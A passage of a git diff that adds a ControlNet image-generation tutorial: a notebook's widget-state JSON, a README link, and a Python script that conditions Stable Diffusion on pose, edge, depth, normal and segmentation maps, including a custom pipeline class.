+ "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f3af911e563d47eca89517bdc434c911": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f3be39d3186448afb9d851b9732df52b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "f48a988402a947a098ed14bfd0dc9a53": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "f48bc2b8666b4e48a6f8cad4cda2530d": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "f4accfef05c24411bbd0fae1f7fbf7cb": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_aafa0b9b142a44f79368f411710ea55c", + "placeholder": "​", + "style": "IPY_MODEL_2aeb8135603c46c1aa80e2c3580b897f", + "value": " 3.44G/3.44G [00:26<00:00, 237MB/s]" + } + }, + "f566fa59f127470087bb68beea6ee8fb": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_2fa71efbdefa4607b37d985b272fcffa", + "max": 20, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_e20f4ef3c100484cae5ba0a570be604c", + "value": 20 + } + }, + "f5e6af9d73ed4f3d9726bffba48540ee": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_0a6ed397228f4a1fafe9dfecc4c39ef6", + "placeholder": "​", + "style": "IPY_MODEL_e2eaf1b78df545feb426d75ec556f8a3", + "value": " 541/541 [00:00<00:00, 13.4kB/s]" + } + }, + "f61abe945b124e31a72254333f26c785": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_b1da7b0efaaf4db4a7660bc5457f2bfa", + "IPY_MODEL_3e55680d33db47099479572d0c8915f2", + "IPY_MODEL_c48ca8b557154fac885edaebc4879321" + ], + "layout": "IPY_MODEL_d4c261dab25d405ba560d4626683bccb" + } + }, + "f66573653707458f80b29a40e1193d31": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "f7dd7600e3374757bdb1dad3d2e29d4e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_dffc9bcfd178487e93b34f91eae3b8e8", + "IPY_MODEL_7016696c087c4b3d85d5928cca064add", + "IPY_MODEL_f4accfef05c24411bbd0fae1f7fbf7cb" + ], + "layout": "IPY_MODEL_941873b1d19b4c2da615ed461fc6cbc7" + } + }, + "f81e6ba8c0ee4d19afc1691be3650a94": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_e1877e0c82a1464597250ef0572d2679", + "placeholder": "​", + "style": "IPY_MODEL_3005ddef183645cbb3039da2a621ebf4", + "value": " 1.45G/1.45G [00:05<00:00, 196MB/s]" + } + }, + "f8b042b72ea1403284bc45b55cbfcdcf": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_5cbe59686c0d475a8e2274ffcb64d992", + "placeholder": "​", + "style": "IPY_MODEL_3bf3dd9f53354c758187674b5b1eac19", + "value": "100%" + } + }, + "f8dbc4c64a0d440e9660b0d7ef083b5c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "f92c9532d4644693831a67344d499ff5": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_c389029d6e9445febf2f623921140abe", + "placeholder": "​", + "style": "IPY_MODEL_9eda2eb5008b4f2d8269523ee5ce2ffe", + "value": "Downloading (…)rocessor_config.json: 100%" + } + }, + "f9f461994c7e41aba3124dd5ee0b1525": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "fa4ce3277cce4064aaf40849870966c1": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_3b2265f2c01844fb9c99e18c61344d69", + "placeholder": "​", + "style": "IPY_MODEL_e060cf453034447dba6af95a918e3092", + "value": " 547/547 [00:00<00:00, 7.59kB/s]" + } + }, + "fd3e1648c2b84f5f81cd7ee3d2fbc4c0": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "fd444832eb3b4399946317b54b495d52": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "febabb96db10490f835e4c5f6512ea61": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_834aa09c8e984c819849676acdf25dae", + "placeholder": "​", + "style": "IPY_MODEL_6224c6c1d4b145ed86564e7d62fbe4c2", + "value": "Downloading (…)ain/model_index.json: 100%" + } + }, + "ff1597bd843b4770b93ffa71f0b05da4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "ff464c023f0546209b15c44a39b4b75e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "ff535db7c20f4719820b0b483a3a41ff": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "ffd1b0965ac748a3857a947c94e192dc": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + } + } + } + }, + "nbformat": 4, + "nbformat_minor": 0 +} diff --git a/machine-learning/control-image-generation-with-controlnet/README.md b/machine-learning/control-image-generation-with-controlnet/README.md new file mode 100644 index 00000000..d7e237d6 --- /dev/null +++ b/machine-learning/control-image-generation-with-controlnet/README.md @@ -0,0 +1 @@ +# [How to Control the Generated Images by diffusion models via ControlNet in Python](https://www.thepythoncode.com/article/control-generated-images-with-controlnet-with-huggingface) \ No newline at end of file diff --git a/machine-learning/control-image-generation-with-controlnet/controlnet_pythoncodetutorial.py b/machine-learning/control-image-generation-with-controlnet/controlnet_pythoncodetutorial.py new file mode 100644 index 00000000..55397665 --- /dev/null +++ b/machine-learning/control-image-generation-with-controlnet/controlnet_pythoncodetutorial.py @@ -0,0 +1,689 @@ +# %% +!pip install -qU xformers diffusers transformers accelerate + +# %% +!pip install -qU controlnet_aux +!pip install opencv-contrib-python + +# %% [markdown] +# # Open Pose + +# %% +from PIL import Image +from diffusers import StableDiffusionControlNetPipeline, ControlNetModel, UniPCMultistepScheduler +import torch +from controlnet_aux import OpenposeDetector +from diffusers.utils import load_image +from tqdm import tqdm +from torch import autocast + +# %% +# load the openpose model +openpose = OpenposeDetector.from_pretrained('lllyasviel/ControlNet') + +# load the controlnet for openpose +controlnet = ControlNetModel.from_pretrained( + "lllyasviel/sd-controlnet-openpose", torch_dtype=torch.float16 +) + +# define stable diffusion pipeline with controlnet +pipe = StableDiffusionControlNetPipeline.from_pretrained( + "runwayml/stable-diffusion-v1-5", controlnet=controlnet, safety_checker=None, torch_dtype=torch.float16 +) +pipe.scheduler = UniPCMultistepScheduler.from_config(pipe.scheduler.config) + +# %% +# Remove if you do not have xformers installed +# see https://huggingface.co/docs/diffusers/v0.13.0/en/optimization/xformers#installing-xformers +# for installation instructions +pipe.enable_xformers_memory_efficient_attention() +pipe.enable_model_cpu_offload() + +# %% +image_input = load_image("https://cdn.pixabay.com/photo/2016/05/17/22/19/fashion-1399344_640.jpg") +image_input + +# %% +image_pose = openpose(image_input) +image_pose + +# %% +image_output = pipe("A professional photograph of a male fashion model", image_pose, num_inference_steps=20).images[0] +image_output + +# %% [markdown] +# # Custom implementation + +# %% +class ControlNetDiffusionPipelineCustom: + """custom implementation of the ControlNet Diffusion Pipeline""" + + def __init__(self, + vae, + tokenizer, + text_encoder, + unet, + controlnet, + scheduler, + image_processor, + control_image_processor): + + self.vae = vae + self.tokenizer = tokenizer + self.text_encoder = text_encoder + self.unet = unet + self.scheduler = scheduler + self.controlnet = controlnet + self.image_processor = image_processor + self.control_image_processor = control_image_processor + self.device = 'cuda' if torch.cuda.is_available() else 'cpu' + + + + def get_text_embeds(self, text): + """returns embeddings for the given `text`""" + + # tokenize the text + text_input = self.tokenizer(text, + padding='max_length', + max_length=tokenizer.model_max_length, + truncation=True, + return_tensors='pt') + # embed the text + with torch.no_grad(): + text_embeds = self.text_encoder(text_input.input_ids.to(self.device))[0] + return text_embeds + + + + def get_prompt_embeds(self, prompt): + """returns prompt embeddings based on classifier free guidance""" + + if isinstance(prompt, str): + prompt = [prompt] + # get conditional prompt embeddings + cond_embeds = self.get_text_embeds(prompt) + # get unconditional prompt embeddings + uncond_embeds = self.get_text_embeds([''] * len(prompt)) + # concatenate the above 2 embeds + prompt_embeds = torch.cat([uncond_embeds, cond_embeds]) + return prompt_embeds + + + def transform_image(self, image): + """convert image from pytorch tensor to PIL format""" + + image = self.image_processor.postprocess(image, output_type='pil') + return image + + + + def get_initial_latents(self, height, width, num_channels_latents, batch_size): + """returns noise latent tensor of relevant shape scaled by the scheduler""" + + image_latents = torch.randn((batch_size, + num_channels_latents, + height // 8, + width // 8)).to(self.device) + # scale the initial noise by the standard deviation required by the scheduler + image_latents = image_latents * self.scheduler.init_noise_sigma + return image_latents + + + + def denoise_latents(self, + prompt_embeds, + controlnet_image, + timesteps, + latents, + guidance_scale=7.5): + """denoises latents from noisy latent to a meaningful latent as conditioned by controlnet""" + + # use autocast for automatic mixed precision (AMP) inference + with autocast('cuda'): + for i, t in tqdm(enumerate(timesteps)): + # duplicate image latents to do classifier free guidance + latent_model_input = torch.cat([latents] * 2) + latent_model_input = self.scheduler.scale_model_input(latent_model_input, t) + + control_model_input = latents + controlnet_prompt_embeds = prompt_embeds + + # get output from the control net blocks + down_block_res_samples, mid_block_res_sample = self.controlnet( + control_model_input, + t, + encoder_hidden_states=controlnet_prompt_embeds, + controlnet_cond=controlnet_image, + conditioning_scale=1.0, + return_dict=False, + ) + + # predict noise residuals + with torch.no_grad(): + noise_pred = self.unet( + latent_model_input, + t, + encoder_hidden_states=prompt_embeds, + down_block_additional_residuals=down_block_res_samples, + mid_block_additional_residual=mid_block_res_sample, + )['sample'] + + # separate predictions for unconditional and conditional outputs + noise_pred_uncond, noise_pred_text = noise_pred.chunk(2) + + # perform guidance + noise_pred = noise_pred_uncond + guidance_scale * (noise_pred_text - noise_pred_uncond) + + # remove the noise from the current sample i.e. go from x_t to x_{t-1} + latents = self.scheduler.step(noise_pred, t, latents)['prev_sample'] + + return latents + + + + def prepare_controlnet_image(self, + image, + height, + width): + """preprocesses the controlnet image""" + + # process the image + image = self.control_image_processor.preprocess(image, height, width).to(dtype=torch.float32) + # send image to CUDA + image = image.to(self.device) + # repeat the image for classifier free guidance + image = torch.cat([image] * 2) + return image + + + + def __call__(self, + prompt, + image, + num_inference_steps=20, + guidance_scale=7.5, + height=512, width=512): + """generates new image based on the `prompt` and the `image`""" + + # encode input prompt + prompt_embeds = self.get_prompt_embeds(prompt) + + # prepare image for controlnet + controlnet_image = self.prepare_controlnet_image(image, height, width) + height, width = controlnet_image.shape[-2:] + + # prepare timesteps + self.scheduler.set_timesteps(num_inference_steps) + timesteps = self.scheduler.timesteps + + # prepare the initial image in the latent space (noise on which we will do reverse diffusion) + num_channels_latents = self.unet.config.in_channels + batch_size = prompt_embeds.shape[0] // 2 + latents = self.get_initial_latents(height, width, num_channels_latents, batch_size) + + # denoise latents + latents = self.denoise_latents(prompt_embeds, + controlnet_image, + timesteps, + latents, + guidance_scale) + + # decode latents to get the image into pixel space + latents = latents.to(torch.float16) # change dtype of latents since + image = self.vae.decode(latents / self.vae.config.scaling_factor, return_dict=False)[0] + + # convert to PIL Image format + image = image.detach() # detach to remove any computed gradients + image = self.transform_image(image) + + return image + +# %% +# We can get all the components from the ControlNet Diffusion Pipeline (the one implemented by Hugging Face as well) +vae = pipe.vae +tokenizer = pipe.tokenizer +text_encoder = pipe.text_encoder +unet = pipe.unet +controlnet = pipe.controlnet +scheduler = pipe.scheduler +image_processor = pipe.image_processor +control_image_processor = pipe.control_image_processor + +# %% +custom_pipe = ControlNetDiffusionPipelineCustom(vae, tokenizer, text_encoder, unet, controlnet, scheduler, image_processor, control_image_processor) + +# %% +# sample image 1 +images_custom = custom_pipe("a fashion model wearing a beautiful dress", image_pose, num_inference_steps=20) +images_custom[0] + +# %% +# sample image 2 +images_custom = custom_pipe("A male fashion model posing in a museum", image_pose, num_inference_steps=20) +images_custom[0] + +# %% +# sample image with a different prompt +images_custom = custom_pipe("A professional ice skater wearing a dark blue jacket around sunset, realistic, UHD", image_pose, num_inference_steps=20) +images_custom[0] + +# %% + + +# %% + + +# %% [markdown] +# # Canny + +# %% +import cv2 +from PIL import Image +from diffusers import StableDiffusionControlNetPipeline, ControlNetModel, UniPCMultistepScheduler +import torch +import numpy as np +from diffusers.utils import load_image + +# %% +# load the controlnet model for canny edge detection +controlnet = ControlNetModel.from_pretrained( + "lllyasviel/sd-controlnet-canny", torch_dtype=torch.float16 +) + +# load the stable diffusion pipeline with controlnet +pipe = StableDiffusionControlNetPipeline.from_pretrained( + "runwayml/stable-diffusion-v1-5", controlnet=controlnet, safety_checker=None, torch_dtype=torch.float16 +) +pipe.scheduler = UniPCMultistepScheduler.from_config(pipe.scheduler.config) + +# %% +# enable efficient implementations using xformers for faster inference +pipe.enable_xformers_memory_efficient_attention() +pipe.enable_model_cpu_offload() + +# %% +image_input = load_image("https://cdn.pixabay.com/photo/2023/06/03/16/05/spotted-laughingtrush-8037974_640.png") +image_input = np.array(image_input) + +Image.fromarray(image_input) + +# %% +# define parameters from canny edge detection +low_threshold = 100 +high_threshold = 200 + +# do canny edge detection +image_canny = cv2.Canny(image_input, low_threshold, high_threshold) + +# convert to PIL image format +image_canny = image_canny[:, :, None] +image_canny = np.concatenate([image_canny, image_canny, image_canny], axis=2) +image_canny = Image.fromarray(image_canny) + +image_canny + +# %% +image_output = pipe("bird", image_canny, num_inference_steps=20).images[0] +image_output + +# %% +image_output = pipe("a cute blue bird with colorful aesthetic feathers", image_canny, num_inference_steps=20).images[0] +image_output + +# %% + + +# %% [markdown] +# # Depth + +# %% +from transformers import pipeline +from diffusers import StableDiffusionControlNetPipeline, ControlNetModel, UniPCMultistepScheduler +from PIL import Image +import numpy as np +import torch +from diffusers.utils import load_image + +# %% +# load the depth estimator model +depth_estimator = pipeline('depth-estimation') + +# load the controlnet model for depth estimation +controlnet = ControlNetModel.from_pretrained( + "lllyasviel/sd-controlnet-depth", torch_dtype=torch.float16 +) + +# load the stable diffusion pipeline with controlnet +pipe = StableDiffusionControlNetPipeline.from_pretrained( + "runwayml/stable-diffusion-v1-5", controlnet=controlnet, safety_checker=None, torch_dtype=torch.float16 +) +pipe.scheduler = UniPCMultistepScheduler.from_config(pipe.scheduler.config) + +# %% +# enable efficient implementations using xformers for faster inference +pipe.enable_xformers_memory_efficient_attention() +pipe.enable_model_cpu_offload() + +# %% +image_input = load_image("https://huggingface.co/lllyasviel/sd-controlnet-depth/resolve/main/images/stormtrooper.png") +image_input + +# %% +# get depth estimates +image_depth = depth_estimator(image_input)['depth'] + +# convert to PIL image format +image_depth = np.array(image_depth) +image_depth = image_depth[:, :, None] +image_depth = np.concatenate([image_depth, image_depth, image_depth], axis=2) +image_depth = Image.fromarray(image_depth) + +image_depth + +# %% +image_output = pipe("Darth Vader giving lecture", image_depth, num_inference_steps=20).images[0] +image_output + +# %% +image_output = pipe("A realistic, aesthetic portrait style photograph of Darth Vader giving lecture, 8k, unreal engine", image_depth, num_inference_steps=20).images[0] +image_output + +# %% [markdown] +# # Normal + +# %% +from PIL import Image +from transformers import pipeline +import numpy as np +import cv2 +from diffusers import StableDiffusionControlNetPipeline, ControlNetModel, UniPCMultistepScheduler +import torch +from diffusers.utils import load_image + +# %% +# load the Dense Prediction Transformer (DPT) model for getting normal maps +depth_estimator = pipeline("depth-estimation", model ="Intel/dpt-hybrid-midas") + +# load the controlnet model for normal maps +controlnet = ControlNetModel.from_pretrained( + "fusing/stable-diffusion-v1-5-controlnet-normal", torch_dtype=torch.float16 +) + +# load the stable diffusion pipeline with controlnet +pipe = StableDiffusionControlNetPipeline.from_pretrained( + "runwayml/stable-diffusion-v1-5", controlnet=controlnet, safety_checker=None, torch_dtype=torch.float16 +) +pipe.scheduler = UniPCMultistepScheduler.from_config(pipe.scheduler.config) + +# %% +# enable efficient implementations using xformers for faster inference +pipe.enable_xformers_memory_efficient_attention() +pipe.enable_model_cpu_offload() + +# %% +image_input = load_image("https://cdn.pixabay.com/photo/2023/06/07/13/02/butterfly-8047187_1280.jpg") +image_input + +# %% +# do all the preprocessing to get the normal image +image = depth_estimator(image_input)['predicted_depth'][0] + +image = image.numpy() + +image_depth = image.copy() +image_depth -= np.min(image_depth) +image_depth /= np.max(image_depth) + +bg_threhold = 0.4 + +x = cv2.Sobel(image, cv2.CV_32F, 1, 0, ksize=3) +x[image_depth < bg_threhold] = 0 + +y = cv2.Sobel(image, cv2.CV_32F, 0, 1, ksize=3) +y[image_depth < bg_threhold] = 0 + +z = np.ones_like(x) * np.pi * 2.0 + +image = np.stack([x, y, z], axis=2) +image /= np.sum(image ** 2.0, axis=2, keepdims=True) ** 0.5 +image = (image * 127.5 + 127.5).clip(0, 255).astype(np.uint8) +image_normal = Image.fromarray(image) + +image_normal + +# %% +image_output = pipe("A colorful butterfly sitting on apples", image_normal, num_inference_steps=20).images[0] +image_output + +# %% +image_output = pipe("A beautiful design", image_normal, num_inference_steps=20).images[0] +image_output + +# %% [markdown] +# # Segmentation + +# %% +from transformers import AutoImageProcessor, UperNetForSemanticSegmentation +from PIL import Image +import numpy as np +import torch +from diffusers import StableDiffusionControlNetPipeline, ControlNetModel, UniPCMultistepScheduler +from diffusers.utils import load_image + +# %% +# load the image processor and the model for doing segmentation +image_processor = AutoImageProcessor.from_pretrained("openmmlab/upernet-convnext-small") +image_segmentor = UperNetForSemanticSegmentation.from_pretrained("openmmlab/upernet-convnext-small") + +# load the controlnet model for semantic segmentation +controlnet = ControlNetModel.from_pretrained( + "lllyasviel/sd-controlnet-seg", torch_dtype=torch.float16 +) + +# load the stable diffusion pipeline with controlnet +pipe = StableDiffusionControlNetPipeline.from_pretrained( + "runwayml/stable-diffusion-v1-5", controlnet=controlnet, safety_checker=None, torch_dtype=torch.float16 +) +pipe.scheduler = UniPCMultistepScheduler.from_config(pipe.scheduler.config) + +# %% +# enable efficient implementations using xformers for faster inference +pipe.enable_xformers_memory_efficient_attention() +pipe.enable_model_cpu_offload() + +# %% +# define color palette that is used by the semantic segmentation models + +palette = np.asarray([ + [0, 0, 0], + [120, 120, 120], + [180, 120, 120], + [6, 230, 230], + [80, 